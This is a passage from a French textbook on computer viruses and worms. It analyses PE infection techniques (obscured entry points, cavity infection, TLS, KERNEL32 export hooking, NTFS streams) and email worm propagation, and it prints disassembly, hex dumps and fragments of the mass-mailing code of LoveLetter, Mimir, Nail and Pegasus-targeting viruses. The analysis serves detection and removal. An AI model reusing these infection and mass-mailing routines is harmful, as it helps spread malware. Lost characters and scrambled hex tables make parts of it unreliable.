5.2 Lenvironnement 32 bits

185

Les uns modifient ladresse du point dentre du programme vers leur propre code. Les autres remplacent directement quelques octets au point dentre pour permettre au programme un saut, plus ou moins rapide, vers le code viral. An de parfaire leur camouage, certains virus cherchent placer ce saut, loin du point dentre, en le noyant dans le code lgitime du programme quil souhaite infecter. Il sagit alors de la mthode du point dentre obscur telle que le pratique le virus W32/Forforo.B. Nous allons examiner les consquences dune telle attaque sur notre chier leurre qui, avant infection, possde les caractristiques suivantes :
Offset du point dentreEP-RVA: 11B0h Adresse physique de ce point dentre: 5B0h Point dentre localis en premire section (.text) Adresse physique de la premire section: 0400h Adresse physique de la dernire section: 7C00h

Aprs avoir t infect, le chier a augment en taille. Il est pass de 32 768 octets 39 839 octets. Il se retrouve modi de la manire suivante (cf. tableau 5.9) :
Tableau 5.9 Principales modifications dun fichier aprs une infection par Fosforo Adresse Physique 12h D0h 220h 228h
Dunod La photocopie non autorise est un dlit

Avant infection 00h 0000C3FEh 000003FEh 00000400h 40000042h FF15B0B04000h

Aprs infection 55h 0001A000h 00003FE0h 00010000h 400000C2h FF157FC54000h

Remarques Marqueur dinfection Taille du programme [PE + 50h] Taille virtuelle de la dernire section Taille physique de la dernire section Caractristiques de la dernire section Point dentre obscur

23Ch 4B1h

Lexamen du code au point dentre obscur nous montre le changement suivant :


Avant : FF15B0B04000 Aprs : FF157FC54000 call call GetCurrentProcess ;KERNEL32.DLL d, [0040C57F]

Lappel (call) systme GetCurrentProcess a t remplac par un appel pointant sur une adresse inscrite dans la dernire section qui a, rappelons le, les caractristiques suivantes :
Adresse virtuelle : C000h (0040C000h) Taille virtuelle : 3FE0h

186

Chapitre 5. Les virus programme

On retrouve effectivement ladresse indique la valeur 0040C583h qui pointe, 4 octets plus loin, au dbut du code viral.
.004011B0: 64A100000000 mov eax,fs:[00000000] (EP-RVA) .004011B6: 55 push ebp .004011B7: 8BEC mov ebp,esp ... ... .004010B0: 56 push esi .004010B1: FF157FC54000 call d,[0040C57F] (saut vers code viral) .004010B7: 50 push eax .004010B8: FF15ACB04000 call TerminateProcess ;KERNEL32.DLL .004010BE: C705A486400001000000 mov d,[004086A4],000000001 ------------------------------------------------------------------------------.0040C57F: 83C54000 .0040C583: 9C pushfd (dbut code viral) .0040C584: 60 pushad .0040C585: EB7A jmps .00040C601 ... ...

Celui ci sexcutera avant de nir son processus en redirigeant et en rtablissant en mmoire le branchement sur lappel systme original. Le programme pourra ainsi se poursuivre de la mme manire quavant linfection. Le seul cueil de ce type dattaque est un mauvais positionnement du saut (le point dentre obscur). Si celui ci se trouve inscrit dans une portion de code rarement, voire jamais, excut, le virus ne se propagera pas autant que son auteur laurait souhait. Moins dune quarantaine de virus utilisent cette technique. Elle oblige, en thorie, les anti-virus largir leur fentre danalyse la totalit de la section contenant le point dentre. Fort heureusement, une analyse rigoureuse de chaque virus permet gnralement de rduire la zone de recherche et donc, le temps de traitement. Le tableau 5.10 cite quelques virus utilisant la technique du point dentre obscur et la mthode de saut quils utilisent.
Tableau 5.10 Quelques virus utilisant la technique du point dentre obscur W95/Babylonia W32/Bagif W32/CTX W32/Chiton W32/Deemo

E8 xx xx xx xx (CALL : appel direct long inter-segment) E8 xx xx xx xx (CALL : appel direct long inter-segment) E9 xx xx xx xx (JMP : saut direct long inter-segment) E8 xx xx xx xx (CALL : appel direct long inter-segment) E9 xx xx xx xx (JMP : saut direct long inter-segment) BB xx xx xx xx (MOV) E8 xx xx xx xx (CALL : appel direct long inter-segment)

5.2 Lenvironnement 32 bits

187

W32/Etap

FF 25 xx xx xx FF 35 xx xx xx inter-segment) E8 xx xx xx xx E9 xx xx xx xx 68 xx xx xx xx

xx (JMP : saut indirect long inter-segment) xx (PUSH : empilage dune donne mmoire (CALL : appel direct long inter-segment) (JMP : saut direct long inter-segment) c3 (PUSH : empilage dune valeur)

W32/Fosforo W32/Gobi W32/LDE W95/Legacy W32/LME W32/MTX W32/Rads W95/Rainsong W95/Tolone W32/Wratch W32/Zexam

FF 15 xx xx xx xx (CALL : appel indirect long inter-segment) FF 15 xx xx xx xx (CALL : appel indirect long inter-segment) 68 xx xx xx xx c3 (PUSH : empilage dune valeur) E8 xx xx xx xx (CALL : appel direct long inter-segment) E9 xx xx xx xx (JMP : saut direct long inter-segment) E9 xx xx xx xx (JMP : saut direct long inter-segment) FF 15 xx xx xx xx (CALL : appel indirect long inter-segment) E8 xx xx xx xx (CALL : appel direct long inter-segment) E8 xx xx xx xx (CALL : appel direct long inter-segment) E8 xx xx xx xx (CALL : appel direct long inter-segment) 68 xx xx xx xx c3 (PUSH : empilage dune valeur) E8 xx xx xx xx (CALL : appel direct long inter-segment)

Technologie a cavit
Nous allons examiner ici le cas de W32/Orez.5780 qui allie cette technique celle du point dentre obscur. Le virus ne modie pas le point dentre (EP-RVA) mais recherche un endroit pour positionner son saut vers le code viral. Lorsque la structure du programme le permet, le virus est capable de dissminer une routine de dcryptage polymorphique. Elle est constitue dinstructions uniques que le virus raccorde par des sauts successifs. Regardons laction du virus sur le chier MM2ENT.EXE (source Windows-98). Avant infection, et entre les offsets 1500h et 1660h, le code se prsente ainsi :
001500 001510 001520 001530 001540 001550 001560 001570 001580 001590 8B 45 5E 83 24 FF A1 68 40 8B 65 FC 5B 3D 04 15 F4 08 00 44 E8 FF 8B 3C 50 38 61 40 68 24 8B FF E5 40 E8 40 40 40 00 04 45 FF 5D 40 F8 40 00 00 40 6A E0 FF C3 00 0E 00 85 E8 40 00 50 8B CC 01 00 83 C0 D6 00 6A E8 45 CC 75 00 C4 74 00 E8 00 A4 F0 CC 05 83 04 02 00 C4 50 00 5F CC E8 C4 C3 FF 00 00 E8 00 64 CC C2 04 CC D0 83 00 32 00 A3 CC 0E 68 CC 68 C4 00 00 83 00 CC 00 FF CC 10 08 83 00 C4 00 CC 00 00 CC 40 68 C4 00 04 00 CC 8B 00 CC 40 04 08 83 C7 00 CC 44 00 CC 00 40 C3 C4

Dunod La photocopie non autorise est un dlit

188

Chapitre 5. Les virus programme

0015A0 0015B0 0015C0 0015D0 0015E0 0015F0 001600 001610 001620 001630 001640 001650 001660

0C 8B 0C C7 56 61 35 EE 14 00 75 56 85

C3 44 C3 05 8B 40 F8 04 40 68 0B 57 C0

CC 24 CC 88 5C 00 61 3B 40 20 8B 8B 74

CC 04 CC 40 24 00 40 35 00 40 44 74 02

CC 6A CC 40 14 74 00 F8 E8 40 24 24 FF

CC 00 CC 00 88 24 72 61 27 00 0C 10 D0

CC 6A CC 01 1D 8B 13 40 00 E8 50 8B 83

CC 01 CC 00 84 35 8B 00 00 15 FF 7C C7

CC 50 CC 00 40 F0 06 73 00 00 15 24 04

CC E8 CC 00 40 61 85 ED 83 00 80 0C 3B

CC 12 CC 83 00 40 C0 68 C4 00 71 3B F7

CC 00 CC 7C 75 00 74 1C 08 83 40 F7 77

CC 00 CC 24 3F 83 02 40 68 C4 00 76 F1

CC 00 CC 08 83 EE FF 40 24 08 5E 0F 5F

CC 83 CC 00 3D 04 D0 00 40 85 5B 8B 5E

CC C4 CC 53 F8 3B 83 68 40 DB C3 07 C3

On retrouve dans cette parcelle de code des zones inutilises. Elles sont occupes par des squences hexadcimales de type CCh (en gras et soulign). On remarque galement un appel indirect long inter-segment.
FF 15 80 71 40 00 call Exit Process ; Kernel32.dll

Aprs infection, cette zone a fait lobjet de nombreux changements :


001500 001510 001520 001530 001540 001540 001550 001560 001570 001580 001590 0015A0 0015B0 0015C0 0015D0 0015E0 0015F0 001600 001610 001620 001630 001640 001650 001660 8B 45 5E 83 24 24 FF A1 68 40 8B 0C 8B 0C C7 56 61 35 EE 14 00 75 56 85 65 FC 5B 3D 04 04 15 F4 08 00 44 C3 44 C3 05 8B 40 F8 04 40 68 0B 57 C0 E8 FF 8B 3C 50 50 38 61 40 68 24 8B 24 81 88 5C 00 61 3B 40 20 8B 8B 74 8B FF E5 40 E8 E8 40 40 40 00 04 0A 04 E9 40 24 00 40 35 00 40 44 74 02 45 FF 5D 40 F8 F8 40 00 00 40 6A E9 6A BB 40 14 74 00 F8 E8 40 24 24 FF E0 FF C3 00 0E 0E 00 85 E8 40 00 19 00 CA 00 88 24 72 61 27 00 0C 10 D0 50 8B BA 01 00 00 83 C0 D6 00 6A 00 6A ED 01 1D 8B 13 40 00 E8 50 8B 83 E8 45 00 75 00 00 C4 74 00 E8 00 00 01 56 00 84 35 8B 00 00 15 E9 7C C7 A4 F0 90 05 83 83 04 02 00 C4 50 00 50 E9 00 40 F0 06 73 00 00 48 24 04 00 5F 40 E8 C4 C4 C3 FF 00 00 E8 CC E8 35 00 40 61 85 ED 83 00 FD 0C 3B 00 64 00 C2 04 04 49 D0 83 00 32 CC 12 03 83 00 40 C0 68 C4 00 FF 3B F7 00 A3 E9 0E 68 68 E9 68 C4 00 00 CC 00 00 7C 75 00 74 1C 08 83 FF F7 77 83 00 72 00 FF FF EA 10 08 83 00 CC 00 00 24 3F 83 02 40 68 C4 00 76 F1 C4 00 00 00 00 00 03 40 68 C4 00 CC 00 CC 08 83 EE FF 40 24 08 5E 0F 5F 04 00 00 8B 00 00 00 40 04 08 83 CC 83 CC 00 3D 04 D0 00 40 85 5B 8B 5E C7 00 00 44 00 00 00 00 40 C3 C4 CC C4 CC 53 F8 3B 83 68 40 DB C3 07 C3

Lappel la fonction Exit Process a t remplac par un saut. Il sagit du point dentre obscur. Dans le cas prsent, il ne pointe pas, comme lhabitude, vers la dernire section du chier. Il redirige le programme vers une zone non utilise telle que celles dcrites plus haut. Cette zone contient une instruction et un autre saut. Linstruction fait parti de la routine polymorphe, le saut qui la suit permet daller linstruction suivante.

5.2 Lenvironnement 32 bits

189

Ltude complte du code nous permet de dcouvrir la routine reprise ci-dessous. Pour en faciliter la comprhension, les sauts intermdiaires ont t omis. On retrouve en gras, les codes apparaissant dans le contenu du dump ci-dessus.
001647 001394 001526 0015A2 0015C2 001902 001CA2 0022F3 002664 0023F8 00155A 00194A 002648 0026C5 002762 002794 0027C1 002884 0029F4 002A31 Jmp pushad mov mov sub not sub ror add neg dec inc neg add not not mov add jne jmp popad push retn 00401394 (E9 48 FD FF FF) edx,000409000 ecx,[edx] ecx,056EDCABB ecx ecx,0CB674E3B ecx,013 acx,063517E2A ecx ecx ecx ecx ecx,03DF9C772 ecx ecx [edx],ecx edx,004 15A2 2A31 000409000

Infection TLS
Cette technique est utilise par quelques virus de la famille W32/Chiton. Elle est simple mais na pourtant t rencontre qu compter de lanne 2002. Il existe dans lentte optionnelle ladresse [PE + C0h] une entre peut usite et dnie en anglais comme RVA Thread Local Storage. Cette zone permet de grer des applications dans lesquelles, il ny a pas un, mais plusieurs ls dexcution (les threads) qui doivent partager les mmes donnes globales. Le stockage local permet chaque thread davoir sa propre copie de donnes. Dans la majorit des cas ladresse de la zone mmoire qui en permet la gestion est maintenue 00h. Si celle ci pointe vers une zone de code, celui-ci sera excut louverture du programme en complment du code principal. Dans le cas des variantes de W32/Chiton, le code viral est ajout en n de dernire section. Ladresse du premier octet est simplement inscrite dans lentte optionnelle [PE + C0h].

Dunod La photocopie non autorise est un dlit

Infection de KERNEL32.DLL
W32/Kriz.4092 est un virus polymorphe qui infecte les fichiers EXE au format PE. Il attaque galement les API du noyau Windows KERNEL32.DLL. Pour faire cela, le virus dtourne 16 fonctions en modiant les adresses de la table Export. Les valeurs originales sont sauvegardes pour permettre un passage de main vers celles-ci une fois le code viral excut.

190

Chapitre 5. Les virus programme

Le code ci-dessous reprend une partie de la table Export dun chier KERNEL32.DLL :
050480 050490 0504A0 0504B0 0504C0 0504D0 0504E0 0504F0 050500 050510 050520 050530 050540 050550 050770 050780 050790 0507A0 0507B0 050AE0 050AF0 050B00 050B10 050B20 F9 A6 E3 82 A6 56 D3 DC B6 1C 40 C5 2A 4C 94 93 C4 39 B5 3C FC 4C 67 3C 5B 90 14 90 90 72 90 90 5D 76 15 5B 5A 90 90 AB AE CF 6F 1A 1A C3 90 91 02 03 03 03 03 00 03 03 03 00 03 02 02 03 03 01 02 02 00 00 00 03 03 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 67 67 FC C1 82 D3 C1 8B A6 67 AD 31 4C 1B 28 63 67 60 94 B3 BF 4C CA 49 90 90 5A 90 90 90 90 90 90 90 15 90 90 79 90 06 90 71 1A 1A C3 90 75 01 03 03 02 03 03 03 03 03 03 03 03 03 03 00 03 03 03 00 00 00 03 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 D4 1D 4C DF 82 5E C4 F1 6A 5F 73 31 A1 7E 31 4A F9 43 85 A3 97 FC 3F 67 15 26 90 7A 90 75 0B 75 6F 47 AF 90 0B B9 90 0F 06 90 58 1A 20 15 32 90 03 03 03 00 03 00 03 00 00 02 02 03 03 00 03 03 03 03 00 00 01 03 02 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A6 41 94 9E CF 67 45 82 AB A4 D1 A5 0F 5A 93 67 34 8A 94 16 6E 24 85 5E 90 7F 75 76 06 90 77 90 B9 68 AB 70 09 68 AB 90 7B C5 7A 1F 1E 16 7D 0D 03 00 00 00 03 03 00 03 03 00 01 00 03 04 01 03 00 02 00 00 01 03 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Une fois le chier infect, ces valeurs sont remplacs par un appel au code viral. titre exemple, on retrouve entre les offsets 50AE0h et 50B20h le code suivant :
050AE0 050AF0 050B00 050B10 050B20 3C FC 4C AA 3C 1A 1A C3 38 91 00 00 03 07 04 00 00 00 00 00 94 B3 BF A6 CA 1A 1A C3 38 75 00 00 03 07 00 00 00 00 00 00 A3 97 86 3F 67 1A 20 38 32 90 00 01 07 02 03 00 00 00 00 00 16 6E 8A 85 5E 1F 1E 38 7D 0D 00 01 07 00 03 00 00 00 00 00

Il est possible de remarquer que ces 4 adresses pointent au mme endroit. Une fois dtect le virus tant crypt et polymorphe il faut dcrypter le code viral. Ceci fait, on retrouve 2 tables qui contiennent les donnes crases. Lune contient les adresses et lautre les donnes associes.
000BA0 000BB0 000BC0 000BD0 000BE0 000C40 000C50 000C60 000C70 000C80 D4 15 03 00 34 7B 00 00 67 90 03 00 43 90 03 00 00 00 00 00 34 08 38 0C 05 0D 05 0D 05 05 05 05 00 00 00 00 DF FC C1 4C 7A 15 90 90 00 03 03 03 00 00 00 00 00 00 00 00 45 24 DC 67 B8 08 C4 14 77 16 90 90 04 0B 04 0B 00 03 03 03 05 05 05 05 00 00 00 00 00 00 00 00 AD 14 31 4C EC 0C F0 10 15 7B 90 90 04 0B 04 0B 03 00 03 03 05 05 05 05

88 04 05 00 9C 07 05 00 94 04 05 00 A8 07 05 00

5.2 Lenvironnement 32 bits

191

Dans le cas ci-dessus, ces adresses sont directement rutilisables pour lradication. Dans certains cas un traitement complmentaire est ncessaire. Si le chier contient une section .edata, un paramtre doit tre ajout avant restitution :
Param = RVA(.edata) Adresse Phys.(.edata)

Infection par Stream NTFS


Dans une partition de type NTFS, tout fichier peut contenir, en plus des donnes qui le constituent rellement, des flux dinformations complmentaires. Les quelques virus qui ciblent les fichiers se trouvant dans un environnement NTFS utilisent ces chanes de donnes (ou streams) caches. Le premier ayant utilis cette technique fut W2K/Stream en septembre 2000. En aot 2003, un mass-mailer, W32/Dumaru.A@MM, tentait lui aussi dexploiter les spcicits de cet environnement. Aprs ce type dinfection, une analyse rapide du disque montre que certains chiers (tels que NOTEPAD.EXE, WINHELP.EXE, etc.) ont t crass et remplacs par le code du virus. Tous les chiers infects ont en effet une taille identique celle du ver. Dans le cas de Dumaru, la taille est de 9.240 octets. Agissant comme un virus compagnon, le code du chier original est cach dans une chane de donnes associe au nom du chier infect. Via le code viral qui sexcute pralablement, cest donc galement le chier original qui est excut si celui ci est appel. Toute personne possdant un environnement NTFS peut sessayer manipuler les streams. Dans une fentre DOS, lancer lditeur de fichier : notepad mon_fichier.txt. Entrer un texte du type Bonjour, je mappelle Franois. Sauver et quitter. Dans cette mme fentre DOS, lancer nouveau lditeur : notepad mon_fichier.txt:mon_stream. La fentre ddition est vide. Il sagit dun nouveau fichier. Entrer un texte quelconque du type ceci est mon secret. Sauver et quitter. Ouvert nouveau, le fichier mon_fichier.txt ne laisse apparatre que le texte initial. Le second est fichier est pourtant toujours l comme vous pouvez le constater en excutant nouveau : notepad mon_fichier.txt:mon_stream. Un tel ux additionnel est inerte, et ne peut pas tre directement excut. Dans loptique dune utilisation malicieuse, cette restriction est facilement contournable. La recherche des streams secrtes ncessite lutilisation doutils spciques. Le logiciel gratuit StreamFind est lun dentre eux.

Dunod La photocopie non autorise est un dlit

6
Les vers

Quils soient virus systme ou programme, les infections informatiques dtailles dans les deux chapitres prcdents saccomplissaient sur des machines isoles. Le saut dune machine vers une autre tait le rsultat dune action humaine involontaire mais bien relle. Avec les vers, nous allons maintenant rentrer dans lunivers des rseaux et prsenter des programmes capables de se propager de machine en machine de manire indpendante. Tout au long de ce chapitre nous allons en dcouvrir de nombreux types. Nous les classierons et les dtaillerons selon le langage dont ils sont issus puis selon leur mthode de propagation.

6.1 ACTIVATION
La mthode la plus simple consiste convaincre lutilisateur. La technique employe est celle du social engineering. Elle doit amener celui-ci ouvrir la pice jointe. Les recettes sont infinies : un message urgent arrive en provenance de lune de vos connaissances (W97M/Melissa@MM) : Attached is an important message for you. quelquun flatte votre vanit (VBS/LoveLetter@MM) : Open this message to see who loves you. une bonne affaire vous est propose (W32/Benjamin.worm) : Download this file to get copyrighted material for free.

194

Chapitre 6. Les vers

Plus subtil, certains virus se contentent dune simple prvisualisation pour infester la machine. Ils utilisent pour cela diverses vulnrabilits dont la plus courante est rfrence MS01-0201. Le message est au format HTML ; la structure de son entte entrane lexcution du code malicieux ds que son destinataire en prend une connaissance sommaire au travers du panneau de prvisualisation de certains outils de messagerie (exemple W32/Badtrans@MM). Limprudence humaine est donc la cause premire de la russite de lattaque. Il existe cependant dautres types dactivation qui permettent au ver de sinltrer de lui-mme au sein des machines non protges : Par scanning squentiel ou alatoire la recherche de machines vulnrables (exemple W32/Code-Red.worm). Par lutilisation dune liste pr-tablie. Par auto gnration de listes au travers de mta-serveurs de jeux. Par technique topologique : analyse de lenvironnement de la machine infecte. De manire passive, en attendant quune victime se manifeste.

6.2 CLASSIFICATION
Sils ne sont ni des macro-virus, ni des virus de script, les vers peuvent tre classifis en fonction du compilateur qui a permis leur cration ou selon leur mthode de rplication. Ltude des similitudes permet ensuite la mise en uvre de procdures de dtection heuristique.

6.2.1 Langage interprte


La notorit conjointe de W97M/Melissa.A@MM et de VBS/Loveletter.A@MM a longtemps mis ces virus sur le devant de la scne. Ils ciblent toujours un outil de messagerie prcis. Il sagit gnralement dOutlook ou dOutlook Express.

Prvisualisation
Lexploitation de la vulnrabilit MS99-0322 lie Internet Explorer permit un petit nombre de virus dagir sur simple prvisualisation. Le plus commun fut sans conteste JS/Kak@M avec Outlook Express 5.0. La prvisualisation entranait la cration dun chier kak.hta dans le rpertoire de dmarrage. Celui ci sexcutait la prochaine mise en route de la machine. Il modiait alors la conguration de loutil de messagerie en dnissant comme signature par dfaut un chier contenant le code viral (kak.htm). Cest ce chier qui contenait le code li
1. MS01-020 : malformed MIME exploit. 2. MS99-032 : scriptlet.typelib/Eyedog" Vulnerability.

6.2 Classification

195

la vulnrabilit. En temps que signature par dfaut, il se retrouvait automatiquement ajout la n de tout courrier de format HTML mis.
MTHODE Vulnrabilit Internet Explorer scriptlet.typelib/Eyedog CIBLE Outlook-Express 5 EXEMPLE DE VIRUS VBS/BubbleBoy.B@MMa JS/Kak@Mb DATE 11/99 10/99

a. Sous Outlook, Bubbleboy se propage galement de manire standard sur une ouverture par double-clic. b. SVAJCER Vanja, 2000, Kak-astrophic? Virus Bulletin. Mars 2000. p 7.

Sendkeys
La commande Sendkeys (EnvoiTouches) est lie au langage de macros. Elle permet de procder lenvoi de caractres depuis le clavier comme si lutilisateur sen chargeait de lui-mme. Avec cette mthode il fut un temps possible de calquer les commandes dun utilisateur et dautomatiser lenvoi de courriers infects.
MTHODE Sendkeys CIBLE MAPI (Microsoft Mail) Forte Agent Usenet Outlook Express EXEMPLE DE VIRUS WM/Sharefun.A@MMa W97M/PolyPoster.A@MMb (Lord Natas/CodeBreakers) W97M/AntiMarc@MM (Lord Natas/CodeBreakers) DATE 02/97 08/98 09/98

a. VB, 1997, Share and Share Alike, Virus Bulletin. Avril 1997 -pp 10-11. b. Tocheva Katrin,. 2001, Worming the Internet Part 1, Virus Bulletin. Octobre 2001. pp 14-15.
Dunod La photocopie non autorise est un dlit

titre dexemple on trouvera ci-dessous quelques lignes de codes lies AntiMarc :


SendKeys SendKeys SendKeys SendKeys [] SendKeys SendKeys SendKeys [] SendKeys [] SendKeys SendKeys SendKeys "{TAB}", -1 "+({DOWN 20})", -1 "%T", -1 "M", -1 "{TAB}", -1 "{TAB}", -1 "{TAB}", -1 R, -1 "%I", -1 "A", -1 sName, -1

196

Chapitre 6. Les vers

SendKeys SendKeys SendKeys SendKeys

"{ENTER}", -1 "{TAB}", -1 "J97Z/nagvZNEP ol Ybeq Angnf [Pbqroernxref 98]", -1 "%S", -1

CreateObject
Avec les systmes dexploitation Windows, la fonction CreateObject permet deux applications distinctes de communiquer entre elles. Disponible avec VBS et VBA, elle renouvela, en 1998, la cration dinfecteurs multi plateformes. Alors que O97M/Shiver utilise lchange dynamique de donnes1 entre Word97 et Excel97, O97M/Tristate sappuie sur le mcanisme normalis COM2. Manipulant les objets Active-X, CreateObject permit la commutation triangulaire pour les trois applications MS Word97, Excel97 et Powerpoint97. En voici le principe :
Set WordObj = GetObject(, "Word.Application") If WordObj = "" Then Set WordObj = CreateObject("Word.Application") WQuit = True End If [] Set PPObj = CreateObject("PowerPoint.Application") [] Set xlApp = CreateObject("Excel.Application")

W97M/ColdApe.A fut dcouvert la mme poque (novembre 1998). Ce fut le premier virus tablissant une interconnexion entre langage VBS et VBA3. Ce fut aussi le premier virus utilisant la fonction CreateObject pour mettre un courrier lectronique. Il ne sagissait pas encore dun mass-mailer ; le virus crait un chier VBS utilis ensuite pour lenvoi de courrier indsirable une adresse prcise (celle de Nick FitzGerald alors diteur du Virus Bulletin). En voil un apercu de la mthode :
Set IPSocket = CreateObject("MSWinsock.Winsock") IPADDY = IPSocket.LocalIP set BOB = CreateObject("Wscript.Network") [] Set theApp = WScript.CreateObject("Outlook.Application") Set theNameSpace = theApp.GetNameSpace("MAPI") theNameSpace.Logon "profile", "password" Set theMailItem = theApp.CreateItem(0) theMailItem.Recipients.Add EMADDY theMailItem.Subject = BOB.Username theMailItem.Body = MSGBDY theMailItem.Send theNameSpace.Logoff

1. DDE Dynamic Data Exchange. 2. COM Component Object Model. 3. Tocheva Katrin,. 2001, Worming the Internet Part 1, Virus Bulletin. Octobre 2001. pp 14-15.

6.2 Classification

197

La fonction CreateObject fut pour la premire fois utilise des ns de massmailer avec le virus W97M/Nail@MM. Plusieurs techniques furent ensuite mises au point.
MTHODE CreateObject CIBLE ("MAPI.Session") & .AddressLists ("Outlook.application") & .GetDefaultFolder ("Outlook.application") & .AddressLists PDF EXEMPLE DE VIRUS W97M/Nail.A@MM W97M/Mimir.A@MM W97M/Melissa.A@MM X97M/Papa.B@MM VBS/Peachy@MM DATE 03/99 05/99 03/99 04/99 08/01

MAPI&AddressLists Avec le virus Nail, la mthode utilise tait MAPI&AddressLists. Lauteur souhaitait ainsi saffranchir de loutil de messagerie et tre mme denvoyer des courriels pour peu que le client soit compatible avec le protocole MAPI1:
Set MAPISess = CreateObject("MAPI.Session") MAPISess.Logon [] For Each AdrEntry In MAPISess.AddressLists(1).AddressEntries Set Recp = objRecipients.Add(Name:=AdrEntry.Address, Type:=3) GInfo = GInfo + AdrEntry.Address + ";" Next [] MAPISess.Logoff

Dunod La photocopie non autorise est un dlit

Ce virus tait galement particulier quant son mode de propagation. Le code VBA tait disponible au travers dun modle de chier prsent sur un site Web particulier (sourceofkaos.com).Il tait rfrenc comme modle distant au sein des chiers locaux infects. Le but recherch tait peut tre la diffusion de mises jours ou de variantes de ce code.

Outlook&AddressLists La mthode prcdente fut peu employe et lappel direct Outlook devint vite la manire la plus rpandue denvoyer des mails. Ce fut la technique employe par les virus tels que Melissa, Loveletter et Homepage. Elle fut non seulement copie et adapte de nombreuses fois, mais galement disponible au travers de gnrateurs de virus tels que ceux de la famille VBSWG. La procdure suivante est issue de la variante A de VBS/Loveletter@MM :
Cration dun objet "Outlook.Application" destin contrler Outlook :
set out=WScript.CreateObject("Outlook.Application")

1. MAPI Mail Application Programming Interface.

198

Chapitre 6. Les vers

Recherche des destinataires dans le carnet dadresse :


set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) malead=a.AddressEntries(x)

Cration dun nouveau message :


set male=out.CreateItem(0)

Puis, pour chaque destinataire :


male.Recipients.Add(malead)

Ajout de la pice jointe :


male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

Envoie du courrier :
- male.Send

Quelques virus associrent cette mthode des scnarios surprenants. Citons comme premier exemple, VBS/Vierika. Il arrivait par e-mail sous la forme dune petite pice jointe de 333 octets. Elle ne contenait pas le code viral mais un lien vers une page Web ou celui ci tait encapsul (http://www.geocities.com/msxxl/ Vindex2.html). Le virus dclarait cette page comme page de dmarrage par dfaut puis modiait la base de registres an de diminuer le niveau de scurit dInternet Explorer. Ce double changement de paramtres permettait lexcution en local du code viral distant ds louverture dInternet Explorer. De son cot, VBS/Loding nexpdiait aucune pice jointe. Le message contenait un lien Internet que le destinataire tait invit aller dcouvrir. Si celui ci possdait Internet Explorer 4 congur avec le niveau de scurit par dfaut (cest--dire Moyen) et sil dcidait de double-cliquer sur le lien, le code du virus, combinaison de JavaScript et de Visual Basic Script sexcutait. Il sagissait ici de la vulnrabilit MS00-0751. Elle entranait la rexpdition du mail lensemble des contacts lists dans le carnet dadresse

Outlook&GetDefaultFolder GetDefaultFolder est une autre mthode associe la fonction CreateObject. Elle est peu commune mais fut utilise avec succs pour les virus W97M/Mimir et W97M/ Lucia. Avec Mimir, elle se dcline de la manire suivante :
Cration dun objet "Outlook.Application" destin contrler Outlook :
Set MAkeNewEmail = CreateObject("outlook.application")

Cration dun nouveau message :


Set NEwEmail = MAkeNewEmail.CreateItem(olMailItem)
1. MS00-075 Microsoft VM ActiveX Component.

6.2 Classification

199

Recherche des destinataires dans le carnet dadresse :


Set mimirnamespace = MAkeNewEmail.GetNamespace("MAPI") SetObjectContactfolder= mimirnamespace.GetDefaultFolder(olFolderContacts)

Puis, pour chaque destinataire :


For Each ObjectContact In ObjectContactfolder.Items TheEmailAdress = ObjectContact.Email1Address

Ajout de la pice jointe :


.Attachments.Add Word.ActiveDocument.FullName

Envoie du courier :
.Send

W97M/Lucia pratique de la mme manire, cependant, les destinataires ne sont pas recherchs dans longlet contact dOutlook mais dans longlet Sentmail :
Set A = CreateObject("Outlook.Application") Set U = A.GetNamespace("MAPI"): Set M = U.GetDefaultFolder(5) For I = 1 To M.Items.Count

Mthode PDF Dcouvert en aot 2001, VBS/Peachy@MM dmontre que la plate-forme Adobe PDF1 peut tre affecte par un virus.
Il sagit en fait dun simple virus en VBScript qui utilise la mthode CreateObject pour ouvrir Outlook. Mais dans ce cas, le chier VBS est encapsul dans un chier PDF qui est attach au corps du message en temps que pice jointe. Le ver sactive si celle-ci est ouverte dans la mesure ou une version complte dAdobe Acrobat est installe sur la machine. Cette dernire condition tant rarement remplie, le ver nest quune preuve par lexemple qui est bien souvent incapable de se propager.
Dunod La photocopie non autorise est un dlit

Mthode Pegasus
Peu de virus se propagent au travers de lapplication Pegasus.
MTHODE Par ajout dans les fichiers *.pmw CIBLE Pegasus EXEMPLE DE VIRUS W97M/Moridin@MM (Asmodeus IKX) DATE 08/98

Outre lexcutable compil HLLP.Toadie@MM, citons pour le langage interprt W97M/Jim@MM et W97M/Moridin@MM. Le second est en fait une version corrige

1. PDF Portable Document Format.

200

Chapitre 6. Les vers

du premier qui nimplmentait pas correctement le champ du destinataire et le laissait blanc. Les 2 macro-virus utilisent donc la mme mthode. Une fois le rpertoire de lapplication dtect, ils recherchent dans son arborescence les chiers prts tre envoys (.pmw). Utilisant les informations dcrivant le destinataire et le sujet du mail, ils ajoutent les champs ncessaires pour lenvoi complmentaire du corps du message et du document infect actif en pice jointe.
Pegasus: [] With Application.FileSearch .FileName = "\*.pmw" .LookIn = pega_dir .SearchSubFolders = True .MatchTextExactly = True .FileType = msoFileTypeAllFiles .Execute pega_mail = .FoundFiles(Cos(Atn(CInt(1)))) End With [] Open pega_mail For Input As #1 Line Input #1, mail_1 Line Input #1, mail_2 Line Input #1, mail_3 Line Input #1, mail_4 Line Input #1, mail_5 Close #1 If mail_2 = "SY:0" Then GoTo no_mail file_Ready: random_1 = Second(Now) Open pega_dir & "\mail\" & random_1 * random_1 & ".pmw" For Append As #3 Print #3, mail_1 Print #3, "SY:0" Print #3, mail_4 Print #3, mail_5 & " :-)" Print #3, "CC:" Print #3, "EN:0" Print #3, "CS:0" Print #3, "RC:0" Print #3, "DC:0" Print #3, "UR:0" Print #3, "SS:0" Print #3, "SG:0" Print #3, "MI:1" Print #3, "ID:<Default>" Print #3, "EX:0" Print #3, "AT:" & active_doc; ",Binary,1" Print #3, "RT: 1" Print #3, "FL:0" Print #3, "" Print #3, random_message Close #3

6.2 Classification

201

Vers du rseau
Le langage interprt a galement t parfois utilis pour la mise aux points de vers sinfiltrant au travers des rseaux locaux ou poste poste.
